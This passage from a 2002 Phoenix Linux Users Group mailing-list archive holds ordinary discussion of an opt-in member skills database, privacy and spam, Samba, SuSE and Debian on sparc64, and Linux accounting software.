-0700 Subject: Install fest interest generation In-Reply-To: <006001c21e51$6c12c970$0301010a@tickticker.com> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <02062715413316.07972@nova.wedge.org> <006001c21e51$6c12c970$0301010a@tickticker.com> Message-ID: <200206280902.59893@granroth.org> On Thursday 27 June 2002 08:10 pm, tickticker wrote: > I'm from the Detroit area and we just referred to them as snowbound > except for the month of pleasant (for mich) weather. Well, like we always said, the four seasons in da UP are: 1. Early Winter 2. Mid Winter 3. Late Winter 4. Next Winter -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:17:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 09:17:26 -0700 Subject: Membership database In-Reply-To: References: <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: <5.1.0.14.0.20020628091621.02472280@localhost> Yeeeaaahhh! Someone that understands what I mean. I want to market what I have and I want to see others that market their stuff. Period. No forcing, no opting out, just plain wanting in and for a reason. Kimi Adams At 6/27/02, you wrote: >Am 27. Jun, 2002 schwätzte Dr.G so: > > > I'm afraid I didn't sign up to this list to have my email put into a DB > with > > a list of skills/references on me so that someone can go in there and just > > send me email whenever they have a problem. I thought that was what > PLUG was > >I don't think that's what anyone was proposing. I hope it wasn't. > >I try to get people to mail the list rather than going to me directly. > >Admittedly I sometimes go directly to a few people because I know they're >working on the project in question or I specifically want their opinion. > >What was proposed was to email the people on the list and ask them to sign >up. That's SPAM and I, personally, am very much against that. Announcing it >as a new project on the appropriate lists is fine. That will get better >reception, so that's the way to go anyway. > >The db thing should be totally an opt-in thing, e.g. you initiate your entry >and you maintain it. I think that's what's been proposed. > > > If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > > just as annoyng as MSN/hotmail signing you up for thier spam, not telling > > you, and then saying "Oh, well, its OPT-Out..." > >Opt-out should be illegal. At the international level. Period. Actually, at >the intergalactic level! > >ciao, > >der.hans >-- ># https://www.LuftHans.com/ ># When I work, I work hard. When I play, I play hard. ># When I sit, I sleep. - Embe Kugler > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:14:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 09:14:48 -0700 Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> Message-ID: <5.1.0.14.0.20020628085153.0246a0e0@localhost> Beginning of Kimi's rant...... I am busy 12 hours a day. I have many tasks that pop up here and there and many contacts. If I did not want to be part of this listing, for the exact reasons you mentioned of being able to ask questions and get answers, then I wouldn't be here. No one has stated at this point that you *have* to be part of a database. My business is making money doing services and selling products that are run by and used on Debian. My business is to know what I do and where my company is going. However, I don't know everything and as much as people wish to think this, I don't know that much outside of running by business with Linux. PLUG and AZOTO have both talked about projects and most people do them so that they can *market* their skills. How is creating a database of those same people creating so much flak on this list? That's what I want to find. A database of skills that will help me help all of you. If someone walks in my door with a need, I want to fulfill it, even if I am not paid. That's the structure of our business and how come we are still here even though many ISP's are out of business or failing. End of Kimi's rant....... At 6/27/02, you wrote: >I'm afraid I didn't sign up to this list to have my email put into a DB with >a list of skills/references on me so that someone can go in there and just >send me email whenever they have a problem. I thought that was what PLUG was >for, to discuss the problem and get multiple points of view and figure out >the best tool for the job. > >It's funny how a LOT of people complain about being on someone's SPAM list >and when they get told "You can just delete it" they get VERY upset. "I >didn't want to be on it in the FIRST place!" Your proposing to do that to >everyone who hates SPAM. > >You talk about not wanting to have to go through all the emails PLUG >generates to find the answers to your issues. *I* do not want to have to go >thought all the PLUG emails AND everyones PERSONAL emails to me to find the >answers I need. I get enough e-mail as it is, I do not need to wade through >more. If someone sees I posted a response to answer a question and they wish >to follow up with me privately, thats fine. But I don't want emails just >coming out of the blue like crazy (NOT that I am saying you will. I am a >newbie afterall, I'm just stating a view point :) The opposite applies. If >someone whishes to give me an answer privately, that is also obviously ok. > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is >just as annoyng as MSN/hotmail signing you up for thier spam, not telling >you, and then saying "Oh, well, its OPT-Out..." > >----- Original Message ----- >From: "Kimi A. Adams" >To: >Sent: Thursday, June 27, 2002 5:42 PM >Subject: Re: Membership database > > > > The purpose of any website or database that is accessible from outside is > > to get to information. Just like Google and other search engines, it's a > > database that you would search for what you need from people who > > register. Hans stated there is something being worked on for the > > website. I have stated I have something available that can be tweaked to > > preferences. > > > > However you send information about the database is fine by me. SPAM or > > not, if you don't want to read it, delete it. We can promote it on the > > website and on the lists, including the announce list. > > > > I won't go into whether processing time, display time, hard drive space, > > etc. would be available or would take up too much of these resources. The > > point is that I am wanting more to find the information that I am looking > > for instead of having to email the listing and searching through the email > > responses to get what I want or need at the time. > > > > I know there are sites out there where I can search for things that I may > > need or want at any given time, but PLUG people are who I turn to. I want > > to know that if I am looking for this one part or this one service or > > someone who can wave this wand, that I can find it in my own time, rather > > than having to drag myself through lot's of emails and calls that get me > > off track from the "thing" I most want. > > > > Just kinda why I brought this up and how I would like to see things > > improved upon. > > > > Kimi Adams > > Unity Wave > > > > At 6/27/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >My thoughts on a member database. > > > > > >I think it is a great idea. As of right now, we have little information > > >about who is subscribed to any of the mailing lists, other than their >mail > > >address. Some people might consider that a "good thing". > > > > > >Any membership information should be gathered voluntarily. We should not > > >require anyone to add information to the database. We should warn them >that > > >we will collect at least the email address that they are using to >subscribe > > >to a list for the membership database. We do, after all, consider anyone > > >subscribed to any of our mail lists as a PLUG member (makes our numbers >look > > >really great). > > > > > >I bet we could get Brian to capture a snapshot of the current >subscribers' > > >email addresses from Mailman. We could them mass-email all subscribers > > >pointing them to a yet-to-be built web page with a form to fill out as >much > > >or as little information as they want in the database. I bet we could >even > > >set up a mechanism to send new subscribers to get sent there >automatically. > > >Probably should set up a way to delete data when someone unsubscribes. >This > > >is tougher because a person may be subscribed to all the lists but only >be > > >unsubscribing from one or two. > > > > > >As far a web space for members, how much space do we have available that >we > > >can use for members' pages? It is one thing to search the database and > > >display data about one member, but it will take a lot more space if we >set > > >aside even 1M of space for every member. It will take some resources for >the > > >database web page that collects the data and for the database and for the > > >scripts that need to be written. It will take more space to search and > > >display routines based on criteria input (sounds like a job for our PhP > > >gurus). > > > > > >All in all, I consider this a great project. It would be even greater if >we > > >release all the tools after it is done. I am almost surprised that >another > > >UG has not done something like this already. So what do we need in terms >of > > >hardware, software, and manpower? Who is gonna organize it? How many >members > > >would be interested in participating? > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > >qR5NkSwamOTOgLRJ+rIAeJDg > > >=XeNW > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:13:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 28 Jun 2002 09:13:48 -0700 (PDT) Subject: Samba Help?? In-Reply-To: <1025274805.28579.43.camel@hawk> Message-ID: On 28 Jun 2002, Carl Parrish wrote: > Btw my samba problem seems to have fixed itself. This may have been because it can take quite a while for SMB requests to fully propogate throughout the network. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:31:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 11:31:22 -0400 (EDT) Subject: Cringely on Palladium Message-ID: http://www.pbs.org/cringely/pulpit/pulpit20020627.html ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:32:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 11:32:09 -0500 (CDT) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206280845.22545.zen2now@qwest.net> Message-ID: > > > ok, i will use YaST like a good lizard. :~D Good Lizards dont use non free software. ;) > > > looking at the choices i had, SuSE was the only Distro i could find that > > > had a newer kernel written for the sparc64. all the others lagged behind! > > > so after spending time with it at work, i am thinking about nuking RH7.1 > > > and installing the new SuSE on my workstation @home. I guess Debian isn't a distro? http://www.debian.org/releases/unstable/sparc/install or 2.4 isnt a new kernel? http://mirror.mcs.anl.gov/debian/pool/main/k/kernel-image-sparc-2.4/ > > I fond SuSE is a much more responsive company than Red Hat, so I would, > > but it is up to you. > > > > I say they are more responsive as I suggested they add mplayer to their > > distro, and about a month later, I got a note from them saying they > > would. I am not sure what makes you think Red Hat is not responsive? Believe me I have no love for Red Hat the distribution, but in writing free software, often times complex C debugging questions have been answered directly by Owen Taylor or Havoc Pennington for directly in IRC or via email with almost no latency. To me this is MUCH more valuable communication (ability to talk to developers not sales drones). Further more David Mason the RHAD Labs director on many occassions has answered Docbook questions with near no delay. Even their sales drones have been rather response if to my email requests. Maybe I have just been lucky? -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 09:45:05 -0700 Subject: Membership database Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B546@mail.int.fh.org> I see no problem at all with an opt in only database which is what I believe Kimi is proposing. Those who wish to be included simply sign up much the same way many users on this list signed up for the "Registered Linux User" database. That one created no flak and this one shouldn't either. As long as the list administrators make the list membership open to viewing by any list member, we really don't have a complaint if someone used that to manually copy all our email addresses into a list for whatever purpose they want. We do all have the option of hiding our addresses from viewing. Only a few of us have opted for that. I'm a bit surprised by all the concern from a group that is primarily composed of anti restriction libertarian leaning people over the idea of someone exercising their freedom to collect data from a public source. -----Original Message----- From: Kimi A. Adams [mailto:kimi@unitywave.com] Sent: Friday, June 28, 2002 9:15 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Membership database Beginning of Kimi's rant...... I am busy 12 hours a day. I have many tasks that pop up here and there and many contacts. If I did not want to be part of this listing, for the exact reasons you mentioned of being able to ask questions and get answers, then I wouldn't be here. No one has stated at this point that you *have* to be part of a database. My business is making money doing services and selling products that are run by and used on Debian. My business is to know what I do and where my company is going. However, I don't know everything and as much as people wish to think this, I don't know that much outside of running by business with Linux. PLUG and AZOTO have both talked about projects and most people do them so that they can *market* their skills. How is creating a database of those same people creating so much flak on this list? That's what I want to find. A database of skills that will help me help all of you. If someone walks in my door with a need, I want to fulfill it, even if I am not paid. That's the structure of our business and how come we are still here even though many ISP's are out of business or failing. End of Kimi's rant....... At 6/27/02, you wrote: >I'm afraid I didn't sign up to this list to have my email put into a DB with >a list of skills/references on me so that someone can go in there and just >send me email whenever they have a problem. I thought that was what PLUG was >for, to discuss the problem and get multiple points of view and figure out >the best tool for the job. > >It's funny how a LOT of people complain about being on someone's SPAM list >and when they get told "You can just delete it" they get VERY upset. "I >didn't want to be on it in the FIRST place!" Your proposing to do that to >everyone who hates SPAM. > >You talk about not wanting to have to go through all the emails PLUG >generates to find the answers to your issues. *I* do not want to have to go >thought all the PLUG emails AND everyones PERSONAL emails to me to find the >answers I need. I get enough e-mail as it is, I do not need to wade through >more. If someone sees I posted a response to answer a question and they wish >to follow up with me privately, thats fine. But I don't want emails just >coming out of the blue like crazy (NOT that I am saying you will. I am a >newbie afterall, I'm just stating a view point :) The opposite applies. If >someone whishes to give me an answer privately, that is also obviously ok. > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is >just as annoyng as MSN/hotmail signing you up for thier spam, not telling >you, and then saying "Oh, well, its OPT-Out..." > >----- Original Message ----- >From: "Kimi A. Adams" >To: >Sent: Thursday, June 27, 2002 5:42 PM >Subject: Re: Membership database > > > > The purpose of any website or database that is accessible from outside is > > to get to information. Just like Google and other search engines, it's a > > database that you would search for what you need from people who > > register. Hans stated there is something being worked on for the > > website. I have stated I have something available that can be tweaked to > > preferences. > > > > However you send information about the database is fine by me. SPAM or > > not, if you don't want to read it, delete it. We can promote it on the > > website and on the lists, including the announce list. > > > > I won't go into whether processing time, display time, hard drive space, > > etc. would be available or would take up too much of these resources. The > > point is that I am wanting more to find the information that I am looking > > for instead of having to email the listing and searching through the email > > responses to get what I want or need at the time. > > > > I know there are sites out there where I can search for things that I may > > need or want at any given time, but PLUG people are who I turn to. I want > > to know that if I am looking for this one part or this one service or > > someone who can wave this wand, that I can find it in my own time, rather > > than having to drag myself through lot's of emails and calls that get me > > off track from the "thing" I most want. > > > > Just kinda why I brought this up and how I would like to see things > > improved upon. > > > > Kimi Adams > > Unity Wave > > > > At 6/27/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >My thoughts on a member database. > > > > > >I think it is a great idea. As of right now, we have little information > > >about who is subscribed to any of the mailing lists, other than their >mail > > >address. Some people might consider that a "good thing". > > > > > >Any membership information should be gathered voluntarily. We should not > > >require anyone to add information to the database. We should warn them >that > > >we will collect at least the email address that they are using to >subscribe > > >to a list for the membership database. We do, after all, consider anyone > > >subscribed to any of our mail lists as a PLUG member (makes our numbers >look > > >really great). > > > > > >I bet we could get Brian to capture a snapshot of the current >subscribers' > > >email addresses from Mailman. We could them mass-email all subscribers > > >pointing them to a yet-to-be built web page with a form to fill out as >much > > >or as little information as they want in the database. I bet we could >even > > >set up a mechanism to send new subscribers to get sent there >automatically. > > >Probably should set up a way to delete data when someone unsubscribes. >This > > >is tougher because a person may be subscribed to all the lists but only >be > > >unsubscribing from one or two. > > > > > >As far a web space for members, how much space do we have available that >we > > >can use for members' pages? It is one thing to search the database and > > >display data about one member, but it will take a lot more space if we >set > > >aside even 1M of space for every member. It will take some resources for >the > > >database web page that collects the data and for the database and for the > > >scripts that need to be written. It will take more space to search and > > >display routines based on criteria input (sounds like a job for our PhP > > >gurus). > > > > > >All in all, I consider this a great project. It would be even greater if >we > > >release all the tools after it is done. I am almost surprised that >another > > >UG has not done something like this already. So what do we need in terms >of > > >hardware, software, and manpower? Who is gonna organize it? How many >members > > >would be interested in participating? > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > >qR5NkSwamOTOgLRJ+rIAeJDg > > >=XeNW > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:02:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 13:02:10 -0400 Subject: Membership database Message-ID: <20020628170209.WHCS3097.lakemtao02.cox.net@smtp.east.cox.net> Uh. I definately have a problem with sharing my information with ANYONE without my consent. I do not consider subscribing my email address to a list to be a consent to give that information to whomever YOU please. I believe in 100% privacy. The only reason I do not "hide" my email address from other list people is, whats the point? it gets listed when you send emails to PLUG anyways. As soon as you strip out my email address from the From field and replace it with just PLUG or something anonymous then I will see the point in making my name invisible to list members. Is it really THAT hard to make it an opt in link you sign up through on the PLUG website? > > From: Tom Achtenberg > Date: 2002/06/28 Fri PM 12:45:05 EDT > To: "'plug-discuss@lists.plug.phoenix.az.us'" > > Subject: RE: Membership database > > I see no problem at all with an opt in only database which is what I believe Kimi is proposing. Those who wish to be included simply sign up much the same way many users on this list signed up for the "Registered Linux User" database. That one created no flak and this one shouldn't either. As long as the list administrators make the list membership open to viewing by any list member, we really don't have a complaint if someone used that to manually copy all our email addresses into a list for whatever purpose they want. We do all have the option of hiding our addresses from viewing. Only a few of us have opted for that. I'm a bit surprised by all the concern from a group that is primarily composed of anti restriction libertarian leaning people over the idea of someone exercising their freedom to collect data from a public source. > > -----Original Message----- > From: Kimi A. Adams [mailto:kimi@unitywave.com] > Sent: Friday, June 28, 2002 9:15 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Membership database > > > Beginning of Kimi's rant...... > > I am busy 12 hours a day. I have many tasks that pop up here and there and > many contacts. If I did not want to be part of this listing, for the exact > reasons you mentioned of being able to ask questions and get answers, then > I wouldn't be here. > > No one has stated at this point that you *have* to be part of a > database. My business is making money doing services and selling products > that are run by and used on Debian. My business is to know what I do and > where my company is going. However, I don't know everything and as much as > people wish to think this, I don't know that much outside of running by > business with Linux. > > PLUG and AZOTO have both talked about projects and most people do them so > that they can *market* their skills. How is creating a database of those > same people creating so much flak on this list? > > That's what I want to find. A database of skills that will help me help > all of you. If someone walks in my door with a need, I want to fulfill it, > even if I am not paid. That's the structure of our business and how come > we are still here even though many ISP's are out of business or failing. > > End of Kimi's rant....... > > > At 6/27/02, you wrote: > >I'm afraid I didn't sign up to this list to have my email put into a DB with > >a list of skills/references on me so that someone can go in there and just > >send me email whenever they have a problem. I thought that was what PLUG was > >for, to discuss the problem and get multiple points of view and figure out > >the best tool for the job. > > > >It's funny how a LOT of people complain about being on someone's SPAM list > >and when they get told "You can just delete it" they get VERY upset. "I > >didn't want to be on it in the FIRST place!" Your proposing to do that to > >everyone who hates SPAM. > > > >You talk about not wanting to have to go through all the emails PLUG > >generates to find the answers to your issues. *I* do not want to have to go > >thought all the PLUG emails AND everyones PERSONAL emails to me to find the > >answers I need. I get enough e-mail as it is, I do not need to wade through > >more. If someone sees I posted a response to answer a question and they wish > >to follow up with me privately, thats fine. But I don't want emails just > >coming out of the blue like crazy (NOT that I am saying you will. I am a > >newbie afterall, I'm just stating a view point :) The opposite applies. If > >someone whishes to give me an answer privately, that is also obviously ok. > > > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > >just as annoyng as MSN/hotmail signing you up for thier spam, not telling > >you, and then saying "Oh, well, its OPT-Out..." > > > >----- Original Message ----- > >From: "Kimi A. Adams" > >To: > >Sent: Thursday, June 27, 2002 5:42 PM > >Subject: Re: Membership database > > > > > > > The purpose of any website or database that is accessible from outside is > > > to get to information. Just like Google and other search engines, it's a > > > database that you would search for what you need from people who > > > register. Hans stated there is something being worked on for the > > > website. I have stated I have something available that can be tweaked to > > > preferences. > > > > > > However you send information about the database is fine by me. SPAM or > > > not, if you don't want to read it, delete it. We can promote it on the > > > website and on the lists, including the announce list. > > > > > > I won't go into whether processing time, display time, hard drive space, > > > etc. would be available or would take up too much of these resources. The > > > point is that I am wanting more to find the information that I am looking > > > for instead of having to email the listing and searching through the email > > > responses to get what I want or need at the time. > > > > > > I know there are sites out there where I can search for things that I may > > > need or want at any given time, but PLUG people are who I turn to. I want > > > to know that if I am looking for this one part or this one service or > > > someone who can wave this wand, that I can find it in my own time, rather > > > than having to drag myself through lot's of emails and calls that get me > > > off track from the "thing" I most want. > > > > > > Just kinda why I brought this up and how I would like to see things > > > improved upon. > > > > > > Kimi Adams > > > Unity Wave > > > > > > At 6/27/02, you wrote: > > > >-----BEGIN PGP SIGNED MESSAGE----- > > > >Hash: SHA1 > > > > > > > >My thoughts on a member database. > > > > > > > >I think it is a great idea. As of right now, we have little information > > > >about who is subscribed to any of the mailing lists, other than their > >mail > > > >address. Some people might consider that a "good thing". > > > > > > > >Any membership information should be gathered voluntarily. We should not > > > >require anyone to add information to the database. We should warn them > >that > > > >we will collect at least the email address that they are using to > >subscribe > > > >to a list for the membership database. We do, after all, consider anyone > > > >subscribed to any of our mail lists as a PLUG member (makes our numbers > >look > > > >really great). > > > > > > > >I bet we could get Brian to capture a snapshot of the current > >subscribers' > > > >email addresses from Mailman. We could them mass-email all subscribers > > > >pointing them to a yet-to-be built web page with a form to fill out as > >much > > > >or as little information as they want in the database. I bet we could > >even > > > >set up a mechanism to send new subscribers to get sent there > >automatically. > > > >Probably should set up a way to delete data when someone unsubscribes. > >This > > > >is tougher because a person may be subscribed to all the lists but only > >be > > > >unsubscribing from one or two. > > > > > > > >As far a web space for members, how much space do we have available that > >we > > > >can use for members' pages? It is one thing to search the database and > > > >display data about one member, but it will take a lot more space if we > >set > > > >aside even 1M of space for every member. It will take some resources for > >the > > > >database web page that collects the data and for the database and for the > > > >scripts that need to be written. It will take more space to search and > > > >display routines based on criteria input (sounds like a job for our PhP > > > >gurus). > > > > > > > >All in all, I consider this a great project. It would be even greater if > >we > > > >release all the tools after it is done. I am almost surprised that > >another > > > >UG has not done something like this already. So what do we need in terms > >of > > > >hardware, software, and manpower? Who is gonna organize it? How many > >members > > > >would be interested in participating? > > > >- -- > > > >Jim > > > > > > > >Freedom is worth protecting > > > > > > > >-----BEGIN PGP SIGNATURE----- > > > >Version: PGP 6.5.8 > > > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > > >qR5NkSwamOTOgLRJ+rIAeJDg > > > >=XeNW > > > >-----END PGP SIGNATURE----- > > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:06:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 10:06:30 -0700 Subject: Accounting Packages Message-ID: <3D1C9796.90504@netscape.net> Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:23:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 10:23:13 -0700 Subject: Accounting Packages Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Look at Gnucash -----Original Message----- From: Don Calfa [mailto:tvat3000@netscape.net] Sent: Friday, June 28, 2002 10:07 AM To: PLUG-discuss@lists.plug.phoenix.az.us Subject: Accounting Packages Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:20:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Fri, 28 Jun 2002 10:20:53 -0700 Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> References: <3D1C9796.90504@netscape.net> Message-ID: <200206281020.53786.krycom1@cox.net> On Friday 28 June 2002 10:06 am, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. Have you taken a look at these? http://freshmeat.net/projects/cbooks/?topic_id=76 http://www.linuxcanada.com/quasar.html -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:21:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 10:21:00 -0700 Subject: Membership database Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B547@mail.int.fh.org> So what you are saying here is someone does not have the right to exercise their own freedom to collect information from very public sources. No information contained in an email should be considered private. I am not advocating anyone harvesting the information this way, but a person in a free society does indeed have to right to do so if they choose to. Your permission to collect your information is implied when you send it to a public list. You are right in that the easiest most friendly way to do this database is to make it opt in. I was only stating that someone could gather the information and make a database that was not opt in if they wanted to. This is one reason at home I use an email address for lists like this that is used exclusively for lists and have other addresses for more private things. -----Original Message----- From: drghastly@cox.net [mailto:drghastly@cox.net] Sent: Friday, June 28, 2002 10:02 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: RE: Membership database This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:37:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 28 Jun 2002 10:37:59 -0700 (PDT) Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> Message-ID: Have you tried running them with WINE? On Fri, 28 Jun 2002, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:41:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 28 Jun 2002 10:41:01 -0700 (PDT) Subject: eterm Message-ID: <20020628174101.66156.qmail@web10603.mail.yahoo.com> So Bryce - Can I take my mandrake CD, find the .rpm for eterm and install it on my RH 7.2? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:59:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 12:59:27 -0500 Subject: Accounting Packages 